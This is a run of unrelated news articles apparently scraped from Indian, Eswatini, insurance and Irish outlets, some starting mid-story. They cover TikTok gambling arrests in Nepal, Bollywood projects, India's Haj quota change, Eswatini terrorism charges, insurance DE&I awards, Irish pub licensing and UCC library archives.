We have received some complaints that TikTok is being grossly misused these days. Some people have also been nabbed in connection with online fraud by misusing TikTok, Tek Prasad Rai, Nepal Police Spokesperson, told India Narrative on Monday.

On a question whether Nepali security authorities are in mood to ban TikTok in Nepal, he said No.

For now, we are now monitoring illegal activities on TikTok. There is no immediate plan to ban the app, he further said.

Recently, Nepal Police arrested five people on the charge of running gambling dens live on TikTok, which is owned by tech giant ByteDance.

Five individuals have been arrested for running gambling dens live on TikTok and investigation is on, Krishna Prasad Koirala, a spokesperson for Kathmandu Valley Crime Investigation Office, told India Narrative.

The arrested online gamblers have been found doing transactions of over 5million Nepali rupees using digital wallets, according to media reports. The online gamblers have been found playing cards games on TikTok with their nicknames. Koirala said that these were among the first cases of arresting online gamblers on TikTok.

More such incidents may have been taking place. We recently received similar complaints, he said.

Major blow for TikTok! Public universities across the US ban the app over security and privacy concerns. Will students find a way around the ban or is this the end of TikTok? #TikTok #ban #security #privacy #USUniversities #UniversityOfTexas https://t.co/Yn63TFsam0.  Tech Pulse (@TechPulseUpdate) January 20, 2023

The Nepal Police have launched probe against them in accordance with Section 125 of the National Penal (Code) Act, 2017, which prohibits gambling and betting in Nepal.

The number of TikTok users has seen a steep rise in Nepal since the country was first hit by the COVID-19 pandemic in February 2020, according to observers.

According to Start.io, a mobile data platform, there are 2.2 million active TikTok users in Nepal, although activists and digital rights groups estimate a much higher number, Kathmandu Post newspaper reported.

Rajib Subba, a cybercrime expert and a former deputy inspector general of Nepal Police, said that with easy access to the internet, people are involved in illegal online gambling by using TikTok.

Gambling is prohibited in Nepal so the online gambling is. Nepal Police must keep vigil on illegal activities taking place on social media platforms including Facebook, Twitter and TikTok, he told India Narrative, adding that there is a need for proper mechanism to deal with the growing cybercrimes in Nepal.

(Santosh Ghimire is India Narratives Nepal correspondent based in Kathmandu)
iWorld | VOD Netflix's US ad tier launch delivers highest sign-up rate since April 2020 OTT platform Netflix recorded its highest daily subscription sign-up rate in the US since the start of the pandemic in April 2020 with the launch of its ad-supported plan on 3 November, according to a new report by Ampere Analysis. Read More...

Movies | Hollywood MBC renews deal with Warner Bros. Discovery The Middle East Broadcasting Corporation (MBC) Group has extended its partnership with Warner Bros. Discovery (WBD). MBC Group will continue to deliver Warner Bros. theatrical titles till 2026. In addition, it will add new Cartoon Network content to its lineup. Read More...

Television | TV Channels

Rajat Sharma grills Kartik Aaryan in 'Aap Ki Adalat' Bollywood sensation Kartik Aaryan was interviewed on the popular talk show Aap Ki Adalat by the iconic Rajat Sharma on 21 January. Aaryan, who is currently reigning as the superstar of his generation, faced difficult questions posed by Sharma in the third episode of Aap Ki Adalat Read More...

Televison | TV Channels

Palki Sharma to host 'Vantage' on Firstpost from 26 Jan Journalist and Firstpost managing editor Palki Sharma will host a new show called Vantage, which will air every weekday at 9 p.m. on Firstpost.com and its YouTube channel starting this Republic Day. Read More...
The gorgeous Sara Ali Khan is prepared to light up the OTT world with her upcoming film. The actress, who is well-known for films like Kedarnath and Atrangi Re, will appear in a role of a freedom fighter in Ae Watan Mere Watan. If you're wondering who it is, it's none other than Usha Mehta. a woman who backed Gandhi and was an Indian freedom warrior.



About Usha Mehta

Usha Mehta was famed for starting Congress Radio, also known as the Secret Congress Radio. She received the Padma Vibhushan, the second-highest civilian honour bestowed by the Indian government, in 1998.

During such a pivotal moment in India's struggle for independence from British colonial authority, it was a force to be reckoned with. She was a deserving citizen and a product of the movement, having lived 80 good years throughout the Gandhian Era.



Usha, at eight years old, screamed her first anti-British Raj protest, "Simon Go Back," during a march against the Simon Commission in 1928. She took part in early-morning picketing in front of liquor stores and demonstrations against the British Raj.

Twitter/Usha Mehta

Usha was strongly impacted by Gandhi as a child and later joined his movement. She decided at a young age to live a life of celibacy and adopted a spartan, Gandhian lifestyle, wearing simply Khadi clothing and avoiding all forms of luxury. She became a well-known proponent for Gandhian philosophy over time.

Usha and a few of her close friends launched the Secret Congress Radio, a secret radio station, on August 14, 1942. In addition, it debuted on August 27.

Gandhi and other well-known leaders from all throughout India sent messages that were broadcast on the radio. The station's location was changed practically everyday by the organisers in an attempt to escape the law.

usha mehta

On November 12, 1942, the police eventually located them and detained the organisers, including Usha Mehta. All of them ended up in jail.

In 1935, she performed among the top 25 students in her matriculation exam, also known as the Class 10 exam. Mehta excelled in debate and elocution at Wilson College and was a four-language native speaker (fluent in English, Gujarati, Hindi, and Marathi).



Under the second Congress administration in the state, she was the first political prisoner to be released in the Bombay province on the orders of Home Minister Moraji Desai. Mehta thereafter turned away from politics and towards education.



Her Last Few Years :

She was very interested in education and the role of women in society, and she had close ties to the Shrimati Nathibai Damodar Thackersey Women's University in Bombay, the Gujarat Administrative Reforms Committee, and the University Grants Commission (UGC). Usha Mehta devoted the final twenty years of her life to the Mani Bhavan Gandhi Sangrahalaya, where she later rose to the position of president and was named the Bombay Gandhi Smarak Nidhi.



usha mehta

Ae Watan Mere Watan teaser :

The teaser for the movie has sparked debates about her character, the project she will be working on, and many other topics. She closes the drapes and plugs wires into her radio transmitting equipment in the teaser's opening scene. "Angrezo ko lag raha hai ki unhone Quit India ka sar kuchal diya hai, lekin azad awazen kaid nahi hoti, ye hai Hindustan ki awaz, Hindustan me kahin se, kahin pe hindustan me," she can be heard saying after she gets on air. After she finishes speaking, there is a loud bang on the door, and she is startled to hear it.

As the teaser comes to an end, viewers are left wondering what else will be featured in the film. The video clip gives a brief overview of Usha Mehta's journey following the Quit India Movement.

Audience reaction to Ae Watan Mere Watan :

They noted that she had excellent diction as well. However, several viewers made the comparison to Alia Bhatt and claimed that she wouldn't be able to handle such a challenging role.

Ae Watan Mere Watan

Check out some comments right here:

Instagram/Sara Ali Khan

Instagram/Sara Ali Khan

Instagram/Sara Ali Khan





Ae Watan Mere Watan will be released on Amazon Prime video and the streaming date shall be announced soon.
He wrote, Its a wrap! What a pleasure it was to work with @itsrohitshetty sir! Cant wait for you guys to witness an action packed series like none before. He has an incredibly hard working, honest and a warm team. Can say it was one of my best experiences being on the sets of #IndianPoliceForce. Thank you to the entire cast and crew for this wonderful journey. Really excited to bring you guys INDIAN POLICE FORCE soon.

Check out the post here:





Heres what fans had to say:

One wrote, Now wedding preparations will be started, Another wrote, Go... now go prep for your wedding. Go.



A third added, Are you growing your beard for your wedding?cant wait to see you .most beautiful groom ever.

Instagram/Sidharth Malhotra

Instagram/Sidharth Malhotra





After the two collaborated on the 2021 film Shershaah, rumours about their relationship began to circulate. They're expected to tie the knot this year, according to sources.

The series is a part of director Rohit Shetty's already popular cop world, which includes the blockbuster movies "Singham" and "Singham 2" starring Ajay Devgn, "Simmba" with Ranveer Singh, and "Sooryavanshi" with Akshay Kumar.

The series' creators claim that it is a tribute to the selfless service, unwavering dedication, and fervent patriotism of police officers around the nation who risk everything in the line of duty to keep everyone safe.

Malhotra plays a Delhi Police officer in the film. Shilpa Shetty and Vivek Oberoi, both actors, play police officers.

Indian Police Force is yet to get an official release date. In addition to this, Sidharth will star alongside Disha Patani in the upcoming action film Yodha, due to open in theatres on July 7, 2023.

(To read more such stories related to movies and shows released on OTTs, keep reading Indiatimes BINGE)


Union Minority Affairs Minister Smriti Irani recently announced that the government has decided to eliminate the discretionary Haj quota that could be used by people in top constitutional positions. The decision was made as part of Prime Minister Narendra Modi's determination to end "VIP culture."



Irani stated, "The government has ended that... The PM believed that if we have to completely eliminate VIP culture, then any such special categorisation in any department should be ended."



On the very first day of his term, Prime Minister Modi declared that he would put an end to VIP culture. During the rule of the United Progressive Alliance (UPA), a special quota was given to the Ministry of Minority Affairs, the Haj Committee, and everyone in high constitutional positions. The quota was introduced in 2012, with over 5,000 seats under it.

BCCL/Representational Image

What is Haj?

Muslims from all over the world travel to Mecca, Saudi Arabia, on the annual Haj pilgrimage. For adherents of the Islamic faith, Mecca is regarded as the holiest city. One of Islam's five fundamental tenets is the journey, which is a religious obligation for all Muslims.

BCCL/Representational Image

A total of 1,75,025 Indian Haj pilgrims participated this year, which is said to be the highest ever. The ceremonies were performed by approximately 2.5 million people in 2019. Due to the pandemic, numbers drastically decreased over the next two years. In 2022, Mecca and Medina, Islam's holiest cities, were open to nearly 9,00,000 pilgrims, including 7,80,000 from abroad.

The Saudi Arabian government finds it increasingly difficult to provide safe hospitality services to millions of pilgrims as a result of the influx of travelers. As a result, in order to maintain equilibrium, the nation sets global quotas that limit the number of pilgrims who can temporarily visit Mecca. The distribution of these quotas is determined by the country's Muslim population.

What was the old policy?

For the Hajj pilgrimage, India and Saudi Arabia have made an annual agreement. Indians receive the quota from Saudi Arabia, which then assigns it to the Ministry of Minority Affairs and the Hajj Committee of India (HCoI).

As per the previous policy document, almost 70% of the nation's complete seats were taken by the Pilgrimage Council of India while the rest were given to private administrators. 500 of the seats that the HCoI took up fell under the discretionary quota that the centre wants to eliminate.

BCCL/Representational Image

The Haj Committee receives 200 of the 500 seats allocated by the government's discretionary quota, and individuals holding important public offices receive the remaining 300. The President holds 100 of the 200 slots, the Prime Minister 75, the Vice President 75, and the Minister of Minority Affairs 50.

The government led by the BJP will implement a new comprehensive policy in its place. According to Irani, a new policy has been developed and will soon be announced. Additionally, the previous Haj policy has come to an end because it was set to run from 2018 to 2022.

A controversy in the past

BCCL/Representational Image

In 2011, the Supreme Court noted that the Haj quota was a "bad religious practice." As a result, the number of seats for the HCoI was reduced from 5,000 to 500 in 2012.

The Indian Express reported that the Supreme Court had also ordered the government to phase out the Haj subsidy within ten years, stating that the money could be better used for the Muslim community's social and educational development. The judgment from 2012 served as the basis for the direction.
There is nothing that a McDonald's quick meal can't fix. The lightly salted fries, the cheesy burgers, and even the large Coke, everything blends in perfectly to give you comfort.

McDonald's is a popular choice among people, as when it comes to burgers, one can't ask for much more than good quality at a reasonable price.

However, a customer in Cambridge discovered that the cost of a dinner at McDonald's, which is often quite reasonable, was more than the price of a restaurant rated five stars or higher.

The only thing he did wrong was order too much food and spend too much time cleaning his plate at McDonald's, which resulted in him having to pay a hefty bill for his meal.

Here is what happened:

Shapour Meftah visited McDonald's on Newmarket Road, Cambridge, and parked his car in the parking space allotted to the fast-food restaurant. After work, he met his brother there, had a lovely meal, and returned home.

Everything went smoothly until he started receiving penalty notices from a private parking firm called UK Parking Control for parking his car at McDonald's for an unreasonable amount of time.

Unsplash

Shapour Meftah told CambridgeshireLive, "It was parking from hellthe most expensive McDonald's I've ever had,"



His two visits to the McDonald's location on Newmarket Road on two separate days, January 4 and January 6, 2023, resulted in the company issuing him two fixed penalty notices of approximately INR 10,000.

screenshot

The parking company issued him a ticket because he violated the 90-minute time limit for McDonald's customers who parked at the space.

"There's no sign inside McDonald's that says you have 90 minutes to sit, eat, and go. You don't want to rush your meal, and we ordered quite a bit of food," Meftah said,

(For the latest trending stories, keep reading Indiatimes)


On Monday, Deepinder Goyal, the chief executive officer of Zomato, announced that the company was looking to hire 800 people for a range of positions, including growth managers, software development engineers, and even chiefs of staff to the CEOs of Zomato, Hyperpure, and Blinkit.

Reuters

In a LinkedIn post, Goyal wrote: "...we have about 800 positions open across these five roles at Zomato. If you happen to know someone really good for any of these roles, please tag them on this thread".



deepinder goyal/twitter

In the same post Goyal posted on LinkedIn; he also advertised vacancies for "generalist" and "product owner." He wrote:

Screenshot

"As a generalist, you will work closely with the leadership team at Zomato. You will have the opportunity to define and execute the core strategy of our food delivery business and eventually own a function".

For the position of 'Chief of Staff to CEO,' the opening says it is a 24*7 job where the traditional employee mindset of work-life balance won't work.

Twitter

"As chief of staff to one of our CEOs (Zomato, Blinkit, Hyperpure), you will be nothing less than a force multiplier and mini-CEO for the organization. You will drive priorities across the organization to influence outcomes and maintain momentum," the advertisement said.

While many praised Goyal for bringing a light of hope amid recent layoffs by big companies, some people were divided.

Some pointed out how Zomato's hiring spree is a publicity gimmick. Users wrote the job opening reeks of toxic work culture, considering it claims a '24*7 job'. Here's how people reacted on Linkedin.

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Zomato recently made headlines when it claimed it will be shutting down its 10-minute food delivery service Zomato Instant less than a year after its launch as it chases profitability amid challenging market conditions.

The company recently told its restaurant partners it would look to close down the service, said two sources privy to the development.

(For the latest trending stories, keep reading Indiatimes)


MBABANE - Swazis First Democratic Front (SFDF) member, Sibusiso Nxumalo and his co-accused Muzi Mnisi, are facing 35 charges of contravening the Suppression of Terrorism Act.

They are, among other charges, accused of having a hand in the murder and attempted murder of law enforcement agents in different parts of the country. Nxumalo and Mnisi are also said to be behind the attempted murder of Kwaluseni Member of Parliament (MP) Sibusiso Mabhanisi Dlamini, whose homestead was riddled with bullets. They are also said to be the ones who burnt property at the homestead of Chief Justice (CJ) Bheki Maphalala. The CJs homestead is situated at Jerusalem before Mbelebeleni. It was reported that the arsonists, who were about eight, were all carrying guns when they attacked the CJs homestead.

Burnt

It was reported that four houses were burnt and five cattle were also shot dead by the gunmen. In the indictment filed by the Crown yesterday, the two accused persons are allegedly the ones who attempted to kill Umbutfo Fanafana Bhembe. Bhembe was on his way to join the rest of Ingatja on their way to Esikhaleni Selusekwane to cut the sacred shrub, lusekwane, as part of the Incwala Ceremony. He is a member of Inyatsi Regiment. The warrior was shot in the upper abdomen. It was gathered that after the suspects shot him, they left the scene nonchalantly, assuming that there were no witnesses.

However, the sources pointed out that some people had witnessed the incident and alerted law enforcement and described the suspects to them. According to the indictment, the pair is further accused of the murder of KaZandondo Chief, Prince Mahloma Dlamini. It is further alleged that they also attempted to kill top detective Senior Superintendent Clement Sihlongonyane by shooting at him. As per the charge sheet, Nxumalo and Mnisi are also said to be the ones behind the burning of two trucks belonging to Tisuka TakaNgwane. It is further alleged that they are the ones who set on fire the administration block at Nkiliji High School. The accused persons also stand accused of torching machinery belonging to Inyatsi Construction (PTY) Limited at Sigombeni Inyatsi Construction depot.

The accused, according to the Crown, are also the ones who allegedly fired gunshots at Sigodvweni Police Station. They are also expected to answer on the shooting at Dumako Police Post, where a tractor driver was shot dead. The have also been slapped with the charge of burning State owned motor vehicles, which were parked at Piggs Peak CTA. The duo is also facing charges of violating the Arms and Ammunition Act, in that they were found in possession of firearms, which were purportedly used to commit a litany of offences. They yesterday made their maiden court appearance before Judge Nkosinathi Maseko for a remand hearing after they were arrested last week. They were remanded in custody until January 30, 2023. During their appearance at around 7pm, security was heightened as the High Court was littered with plain-clothes armed police offices. Appearing for the Crown in the matter was Acting Director of Public Prosecutions Lomvula Motsa, who was appearing along with Principal Crown Counsel Thabo Dlamini and Sandile Mdluli.
Lewis also confirmed that there were no injuries following the quake, and that Vale implemented its internal seismic response protocol to safeguard its workforce. The company also mentioned that it will ramp up its operations after an inspection of the mines and seismicity levels return to background levels.
MANZINI - The Kings Office has expressed concern about mud-slinging and insinuations on the killing of Human Rights Lawyer Thulani Maseko.

The Kings Office Director of Communications, Percy Simelane, said their concern emanated from the fact that the family deserved maximum privacy as it pulled itself together to come to terms with this sad and unfortunate loss. He said his office was not shaken though because to the best of its knowledge, the suspect(s) shall not come from within it. This, Simelane said, following allegations contained in various statements which linked the demise of Maseko to a speech by His Majesty King Mswati III on Saturday when dispersing libutfo.

Following the demise of Maseko, various entities across the globe have claimed that his assassination was politically linked. As such, Simelane was informed that some had gone as far as claiming that the killing coincided with the speech by His Majesty King Mswati III when dispersing libutfo on Saturday. In light of these allegations and in acknowledgement of the statement issued by the Government Spokesperson, Alpheous Nxumalo, disassociating the administration from any acts of mercenaries, Simelane was asked what the Kings Office would have to say on the allegations.

Comment

He was also asked what would be his comment on the calls for a national dialogue which had been mounting. To these questions, Simelane said: Not even ace cops know who killed Lawyer Thulani Maseko at the moment. It would, therefore, be mind-boggling if international organisations could claim to know what happened. We shall continue to expect them to think before they ink, before their organisations become Blame Clubs. He said Eswatini was one of the best democracies in the world where the voters decision was final. Simelane said the people nominated and voted for their representation in Parliament as opposed to situations where party leaders impose themselves on the electorate.

Simelane said some of the allegations emanated from mere ignorance while others were deliberately cooked to serve cheap audiences. He said: By principle, we cannot stoop that low to entertain them. For this murder we shall continue to await intelligence to be available. At the moment, there are so many angles to it. He said his office had no reasons to think it was not purely coincidental that Maseko was shot the day the King had made a comment on the shootings that the country was experiencing. He said there was so far no evidence there was a link between the two. We will continue to believe the comment was innocent until evidence proves us wrong, he added. Some of the comments insinuation suspects behind the death of the lawyer have been removed as there is currently no proof to back-up such claims.
Building a sense of belonging Leading the way in diversity, equity, and inclusion (DE&I) is an indicator of a forward-looking company. Marguerite Murer Tortorello, managing director of Insurance Careers Movement, says, Many insurers are approaching diversity, equity, and inclusion as an ongoing business imperative with DEI strategies embedded across the company. Rhonda Moret, founder of Elevated Diversity, which supports organizations in implementing DE&I, adds, In the insurance industry, diversity and equity inclusion is something organizations are realizing is here to stay.

Its important to implement a DE&I program today because diversity in peoples backgrounds, experiences, perspectives, and thoughts drives innovation and transforms organizations

Amy Bayer, Duck Creek Technologies

Some companies are stuck in a rut of merely performative actions, but the 17 IBA 5-Star DE&I winners have made impressive strides in not only enacting successful programs but also truly making employees feel like they belong.

Winners reflect on survey findings

During a 15-week survey, IBAs research team conducted one-on-one interviews with DE&I professionals and then approached their employees to gauge the effectiveness of their programs.

Employees ranked the following assertions in order of importance, from most to least important.

Amy Bayer, global director for DE&I, engagement, and culture at 5-Star winner Duck Creek Technologies, agrees with the rankings, saying that belonging helps people bring their authentic selves to work, which, in turn, creates a thriving company culture. These rankings reflect how we live our core values and culture code  we prioritize respect, we care, we listen, we lead, and we add value  and that DE&I is at the core of who we are, she says. We embody a culture where inclusion and belonging are reflexes, not initiatives.

Aaisha Hamid, AVP and DE&I manager at award-winner Alliant Insurance Services, is also heartened by the surveys results. I think its validating to know that were headed in the right direction. I think that the areas that the survey measured are obviously the basic necessities, and that we need to make sure that every company is fulfilling them.

Alliants EVP and chief diversity and inclusion officer, Lilian Vanvieldt-Gray, says that shes not surprised that belonging was at the top. Its really a point in time where employees are wanting to be in a safe space, and they want to have an organization that understands, where they feel they can be heard, and where they have an opportunity for progress.

Another winner is Tangram Insurance Services, based just outside of San Francisco. The company echoes its peers in seeing a direct link between IBAs survey results and its own DE&I initiatives.

It makes complete sense to me that belonging and respect for the person are up there in one and two. I think we have gone through a lot as a world, obviously, in the last few years, says CEO Rekha Skantharaja. And if you have a sense of belonging and you have respect, then obviously that helps you through those inevitable ups and downs and all around as a company and as a human being.

A lot of DE&I is about change management. And its also about more than just the people-centric part of it; there are a lot of numbers involved

Aaisha Hamid, Alliant Insurance Services

Diversity drives innovation

Its important to implement a DE&I program today because diversity in peoples backgrounds, experiences, perspectives, and thoughts drives innovation and transforms organizations, says Duck Creeks Bayer. Its also just as important to be intentional and thoughtful about building a culture where these differences are valued  through respect, empowerment, and praise  and employees feel a true sense of belonging.

Bayer started in the human resources industry more than 18 years ago, working for a federal contractor and having to file yearly affirmative action plans, but the actions felt performative and fell flat. Now, she is excited to make real improvements for employees, focusing on maintaining a grassroots movement that is concentrated on all elements of diversity and aims to foster belonging.

Among Duck Creeks recent accomplishments are holding in-person diversity summits in Boston and Mumbai, hosting virtual courageous conversations, and initiating a voice of the employee initiative.

The company also attends four conferences that target the diversity its looking for: the Girls Who Code Career Fair; the Black is Tech Conference; the Grace Hopper Celebration, which connects women and nonbinary technologists globally; and Latinas in Tech.

Duck Creek employees took part in IBAs survey and offered their thoughts on why DE&I programs are important.

In order for this company to succeed, it must represent the customers it serves and the world in which we live, says Jerome Curtis. Meanwhile, Jonathan Ehrmantraut says programs are important because when we all feel valued and included, we open ourselves up to share more ideas and better ourselves individually and as an organization.

I think the case has been made that diverse teams are more creative, more interesting, more innovative, more balanced, have more interesting perspectives, and you just learn more, and if youre not learning, then your business isnt progressing

Rekha Skantharaja, Tangram Insurance Services

Two examples of perseverance

A lot of DE&I is about change management, says Alliants Hamid, and its also about more than just the people-centric part of it; there are a lot of numbers involved. So, unless youre keeping track of everything and you have a plan and strategy in place, youre not going to be able to get from point A to point Z.

Vanvieldt-Gray adds that implementing a DE&I program is morally the right thing to do. But I also think in terms of ESG  environmental, social, and governance. Its something you must do as an organization to both attract and retain talent in your workforce.

Alliant is expanding its employee resource groups, which include Asian American and Pacific Islander, LGBTQ+, Latino, Black, female, and veteran communities. It also has groups for employees who are living with or caring for family members with cancer.

In addition, the company has partnerships with identity-specific insurance and leadership development organizations such as Women in Insurance, the National African American Insurance Association, the Latin American Association of Insurance Agencies, and the Magnolia Leadership Program for Black female professionals, enabling them to equitably allocate development opportunities to underrepresented professionals.

More recently, the company has also developed its Alliant Fellows and Alliant Scholars programs to support and further bolster the pipeline of underrepresented students in the insurance industry.

So, what do Alliants employees think is important about DE&I programs?

Company culture is now more important than ever, says Lisa Butler-Del Rio. People want to feel that someone like them is in a position of power and authority. That someone like them is available to mentor and encourage them.

Meanwhile, Diane Fulgar comments that the DE&I program enhances our companys culture, attracts a broader talent pool, and enables better business performance across the board.

And Linda Mattes says, respect, kindness, and consideration start at the top.

Its really a point in time where employees are wanting to be in a safe space, and they want to have an organization that understands, where they feel they can be heard, and where they have an opportunity for progress

Lilian Vanvieldt-Gray, Alliant Insurance Services

Driving change from the C-suite

Skantharaja agrees with Bayer, Hamid, and Vanvieldt-Gray that establishing a DE&I program is the right thing to do.

I think the case has been made that diverse teams are more creative, more interesting, more innovative, more balanced, have more interesting perspectives, and you just learn more, and if youre not learning, then your business isnt progressing.

And she adds, But you also have to make this about actually creating companies that are healthy and that are progressing. People will want to stay at companies that are healthy, progressive, and vibrant; otherwise, you will find yourself out in the cold.

Skantharaja spent much of her twenties climbing the corporate ladder, eventually reaching the CEO seat in 2013. She says diversity energizes her. Over the past five years, Tangram has made a lot of progress. We look a lot like I hope the future of our industry will be, which is a diverse organization with mostly women in the executive and leadership ranks, she says.

Tangram gives employees training around the difference between diversity, equality, and inclusivity, as well as further training on unconscious bias, which includes the interviewing process and recognizing questions for candidates that carry inherent bias.

Tangrams workers also have clear views on why DE&I programs matter to them.

This fosters a culture of inclusivity, and it also allows for a diverse range of voices and opinions to be heard when trying to brainstorm ideas and solve problems, says Shelby Kurtzer.

And JoAnn Garcia says that having a DE&I program exists as a reminder that all persons have inherent dignity as individuals as well as members of their communities, and they should be respected for who they are and for their unique qualities.

Lingering challenges for DE&I

DE&I is frequently discussed, and some detractors attach lazy stereotypes to it. This issue is being effectively countered, according to the IBAs winners.

I think that the more we talk about diversity, equity, and inclusion, the more important it becomes in the organization, and the more the leadership is invested in supporting it, says Hamid.

Meanwhile, Skantharaja recently had an experience that encapsulated some of the resentment felt by historically overrepresented people when a successful white male businessman asked her about the importance of hiring women and minorities.

She says, I dont think its about feeling left out; its just about making more room at the table.
James Kor, who brings his risk consulting and field engineering experience from Aon and AIG. He also served as a lead analyst with 1898 & Co. Kor is based in Kansas City, MO.

Brian Zyskowski has more than 20 years of fire prevention experience and joins AXA XL from TUV SUD Global Risk Consultants. He is based in Columbus, OH.

Allen Broadus recently served as a technical consultant before joining AXA XL. He has also worked for FM Global and Hartford Steam Boiler. Broadus is a Navy veteran, and had served as a nuclear machinist mate and engineering laboratory technician.

Peter Sam, who is based in Vancouver, BC, has more than 20 years of risk consulting experience. He joined FM Global in Hong Kong in 2003, later moving to AXA XL later that year as a field engineer. His experience covers pulp and paper, food, cement, automobile, semiconductor, pharmaceutical, high-rise buildings, ports, combustible dusts, water damage, wind, and so on. He moved to Vancouver from Hong Kong in 2022.

Walid Mansouri joined AXA XLs Americas team after he relocated to Montreal from Paris. He has served as a risk consultant supporting European and American clients risk assessment and loss prevention needs since 2018. Prior to being a risk consultant, Mansouri was a student graduate of Polytech Annecy Chambery, and had spent five years as an officer in the Gendarmerie Nationale.

"Businesses continue to see the cost of risk rise. More severe weather systems, supply chain bottlenecks, and the risk of costly lawsuits are prompting more companies to take a look at how they can improve their risk management programs to prevent, or at least minimize, potential losses. We're excited to welcome such experienced risk consultants to help us meet the growing demand for loss prevention expertise here in the Americas, said AXA XL Risk Consulting Americas engineering leader Scott Ewing.
Publicans that oppose the liberalisation of pub licensing laws are doing so to protect business owners, an Oireachtas hearing discussing the Sale of Alcohol Bill has heard.

Independent senator, Lynn Ruane, told the Vintners Federation of Ireland (VFI) and the Licensed Vintners' Association (LVA) that their objection to removing supply constraints through the extinguishment provision was not listening to the changing trends of the country.

Speaking at the hearing, Ms Ruane said that while people had a right to protect their livelihoods, the conversation was "led very much by protecting the business owner, and not listening to the changing nature of the country".

The senator also noted a lack of diversity in the industry, adding that the "traditional Irish pub" the VFI and LVA were protecting was not necessarily for a new Ireland.

The new legislation aims to modernise the country's patchwork of laws governing alcohol sales in pubs, restaurants, and off-licences, some of which date back more than 200 years.

Alcohol licences will be allowed for museums and galleries, while pubs will be permitted to stay open for longer and nightclubs allowed to stay open until 6am.

The proposed bill would also remove the extinguishment provision, a rule whereby a new operator cannot enter the pub trade without first acquiring an existing licence, controlling the market supply of overall pubs.

Risk to rural pubs

The VFI and LVA have both voiced harsh criticism of the removal of the provision, warning that without it, rural pubs would be put at severe risk of dying off.

"Adding to the number of outlets in city centres, which is where new licenses will go, is not a welcome development," said Donall OKeeffe of the LVA.

"I don't believe we want a UK pub culture in our cities, and we have a strong pub culture in this country due to our strong licence regime. Deregulation would be a disaster for our city centres."

Both the LVA and VFI also argued that Ireland was already "over-pubbed," with Mr O'Keeffe warning that the liberalisation of pub licensing laws would wipe the value of rural pubs overnight.

"Removing this provision puts the future livelihood of existing pubs at risk," CEO of the VFI, Paul Clancy, added.

"Existing pubs will suffer as a result of increases in supply in what is already an oversaturated market."

A similar sentiment was echoed by Independent TD, Danny Healy Rae, who said he was "totally opposed" to the provision's removal, telling the Oireachtas: "If people want to sell alcohol, they should have a licence to do it and not get it by any other means."

"It is unfair to publicans that regulate their alcohol sales and act as a hub for their community. Extinguishment must be included in this bill."
When the archives of Richard Harris were donated to University College Cork by the late actors family, it was headline-making news. The acquisition was a vote of confidence in UCC by the Harris family, with the actors son Jared emphasising the fact that the archives would benefit the students of film, music and theatre at the college.

Behind the scenes, a lot of work and effort went into the acquisition, says Cronan O Doibhlin, interim university librarian and head of collections at UCC. He estimates that 90% of the material in UCC collections are donated, and the same standards of care and attention apply to all.

We were in discussion with the Harris family for nearly eight years. Its a complex process, not just for the university, but for any family handing over what is often quite personal material.

"Its quite dear and precious to them, you dont have to be a famous or well-known person for that to be the case, he says.

Jared Harris (son of Richard Harris), second from left, with representatives of UCC at the Savoy in London: Barry Monahan, Kerry Bryson, and Cronan O Doibhlin.

Far from the stereotype of archives languishing on dusty shelves in basements, O Doibhlin says the aim is that the universitys collections are accessible and useful.

We work really hard with donors to ensure that they understand the context of the university because collections are used here.

"People are going to come and see them, study them, use them in their writing and their publications. They're not being locked away in a vault.

"The Harris collection coming to UCC was based on the way in which the academic community and the university would use the collection in terms of film and theatre studies, as well as music.

The collections in UCC extend from the earliest manuscripts such as the Book of Lismore, created at Kilbrittain, Co Cork, to the most up-to-date e-journals.

O Doibhlin says that in the last 20 years, the library has concentrated much of its collecting on Munster, with a particular focus on the landed estates of the region and its literary and cultural heritage.

John Fitzgerald [former university librarian] in particular made a really major contribution in terms of securing the Landed Estate Archives of the region.

"Also, in the last 15 years or so, weve tried to focus a little bit more on what would be less establishment-type collecting. So, moving into the 21st century, and looking at the communities that wouldnt normally be represented in large national public institutions.

The collections are not just for use by academics and researchers.

All of the collections that come to UCC on the basis that they will be used by the communities within UCC and also the general public. About a third of our readers are ordinary members of the public, theyre not academics. And that role is really important to us, says O Doibhlin.

The library also undertakes outreach support to assist in the preservation of the regions cultural heritage.

We would go out and speak to people who need help with their collections, and advise them on how they might look after their collections themselves. There are no strings attached, no obligation for collections to come to UCC.

John Minihan holds one of his photos of Samuel Beckett, as his pictures were acquired by UCC Library. Also pictured are Cronan O Doibhlin and Colette McKenna of UCC Library. Picture: Michael Mac Sweeney/Provision

In terms of preserving the literary heritage of Cork and beyond, UCC holds many archives related to the famous Cork author Frank OConnor.

Among these are the Nancy McCarthy collection, featuring correspondence between the writer and McCarthy, an amateur actress from Cork who later became a chemist and a leading figure in the cultural life of the city.

The Joan ODonovan letters will soon be available as an open collection. The private correspondence between OConnor and Joan ODonovan [who were a couple but never married] was donated to the library by their son Oliver.

The Frank O'Connor collection is a great starting point, but were also very conscious of the recent literary heritage of the city, people like John Montague, but also the Irish language poets  we have Liam OMuirthiles archive here as well as Micheal Davitts.

"The work of that community of poets and writers that were in Cork in the 60s, 70s and 80s is really important.

The university has also significantly bolstered its photographic collections in recent years, acquiring the archives of influential photographers John Minihan and the New-York based Alen MacWeeney.

Almost all of our estate collections have a small collection of photographs, some have reasonably significant collections.

"Johns collection coming to UCC was a massive, massive boost. We continue to strategically acquire photographic collections that we feel are best placed in UCC in the context of the region and the research interests here.

An ongoing challenge in terms of collections is keeping pace with technological changes. Digitising archives requires a huge amount of work and resources.

The Boole Library at UCC. Picture: Denis Scannell

Before you can digitise, the collections have to be catalogued. So over the last 20 years, what weve tried to do is ensure that every collection is not opened publicly until its fully catalogued.

"That creates its own challenges. In terms of digitisation, we have quite a bit of content digitised, seven or eight of our Irish manuscripts, including the Great Book of Ireland [a unique collection of the work of Irish artists and writers likened to a modern-day Book of Kells].

One of the biggest difficulties is finding a platform that facilitates public access to images as well as allowing the university to properly curate the digital content.

In the same way that a physical object has to be created, a digital object has to be created as well. And that actually takes a little bit more effort. Believe it or not, we can be fairly certain that a vellum manuscript will be around for 500 years. It is very difficult to know whether my emails will be around in 25 years.

"Theres a whole other level of curation required. We're starting to build some of the infrastructure, but it does take time.

Digging deep: Six UCC collections of interest

Regensburg manuscript

The earliest and the oldest document in the UCC collections is the Regensburg manuscript fragment, dating from the 12th century. It derives from the Regensburg monastery established by Irish monks in Germany in the 10th-12th centuries.

This was probably bound inside a printed book. When the manuscript tradition was superseded by print, they would use vellum from manuscripts to stiffen the bindings of printed books and they would incorporate the vellum into the binding.

